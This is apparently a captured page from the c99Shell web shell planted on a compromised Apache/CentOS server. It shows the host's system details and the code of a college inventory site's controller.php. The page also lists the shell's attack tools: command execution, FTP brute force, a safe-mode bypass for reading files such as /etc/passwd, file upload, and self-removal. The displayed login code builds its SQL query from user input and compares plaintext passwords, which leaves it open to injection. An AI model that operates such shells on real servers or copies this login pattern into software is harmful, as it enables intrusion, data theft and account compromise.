!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/report/person/include/   drwxr-xr-x
Free 52.36 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     controller.php (4.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start();
require 'connection.php';
date_default_timezone_set("Asia/Bangkok");
$date = date("Y-m-d");
$date_time = date("Y-m-d h:i:s");



$usernameErr = $passwordErr = $current_passwordErr = $new_passwordErr = $repeat_passwordErr = $edit_item_idErr = $item_nameErr = $item_categoryErr = $item_descriptionErr = $item_critical_lvlErr = $quantityErr = $uomErr = $received_by = "";
$username = $txtpassword  = $current_password  = $new_password  = $repeat_password  = $edit_item_id  = $item_name  = $item_category  = $item_description  = $item_critical_lvl  = $quantity = $received_by = $remarks = "";

function clean($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (empty($_POST["username"])) {
        $usernameErr = "Username is required";
    } else {
        $username = clean($_POST["username"]);
    }

    if (empty($_POST["txtpassword"])) {
        $passwordErr = "password is required";
    } else {
        $txtpassword = clean($_POST["txtpassword"]);
    }

    if (empty($_POST["current_password"])) {
        $current_passwordErr = "Current password is required";
    } else {
        $current_password = clean($_POST["current_password"]);
    }

    if (empty($_POST["new_password"])) {
        $new_passwordErr = "New password is required";
    } else {
        $new_password = clean($_POST["new_password"]);
    }

    if (empty($_POST["repeat_password"])) {
        $repeat_passwordErr = "password is required";
    } else {
        $repeat_password = clean($_POST["repeat_password"]);
    }

    if (empty($_POST["edit_item_id"])) {
        $edit_item_id = "";
    } else {
        $edit_item_id = clean($_POST["edit_item_id"]);
    }

    if (empty($_POST["item_name"])) {
        $item_nameErr = "Item Name is required";
    } else {
        $item_name = clean($_POST["item_name"]);
    }


    if (empty($_POST["item_category"])) {
        $item_categoryErr = "Category is required";
    } else {
        $item_category = clean($_POST["item_category"]);
    }

    if (empty($_POST["item_description"])) {
        $item_descriptionErr = "Item Description is required";
    } else {
        $item_description = clean($_POST["item_description"]);
    }

    if (empty($_POST["item_critical_lvl"])) {
        $item_critical_lvlErr = "Item Critical Level is required";
    } else {
        $item_critical_lvl = clean($_POST["item_critical_lvl"]);
    }

    if (empty($_POST["quantity"])) {
        $quantityErr = "Quantity is required";
    } else {
        $quantity = clean($_POST["quantity"]);
    }

    if (empty($_POST["received_by"])) {
        $ureceived_by = "Who received is required";
    } else {
        $received_by = clean($_POST["received_by"]);
    }


}   


//Login Query
if(isset($_POST['login'])){
    $sql = "SELECT * FROM collageUser WHERE Username='$username'";
    $result = $conn->query($sql);

    if ($result->num_rows > 0) {
        // output data of each row
        while($row = $result->fetch_assoc()) {
            if($row['Password'] == $txtpassword){
                $_SESSION['user_name'] = $row['username'];
                $nodeId=$row['nodeId'];
                $nodePermission=$row['nodePermission'];
                $Username=$row['Username'];
                if($nodePermission=="A"){
                echo "<meta http-equiv='refresh'=' content='2.5;url=mainAdmin.php?nodeId=$nodeId&nodePermission=$nodePermission&Username=$Username'>";
                }else{
                echo "<meta http-equiv='refresh'=' content='2.5;url=universityAdmin.php?nodeId=$nodeId&nodePermission=$nodePermission&Username=$Username'>";
                }
            } else {
                $passwordErr = '<div class="alert alert-warning">
                        <strong>Login!</strong> Failed.
                        </div>';
                $username = $row['username'];
            }
        }
    } else {
        $usernameErr = '<div class="alert alert-danger">
  <strong>Username</strong> Not Found.
</div>';
        $username = "";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--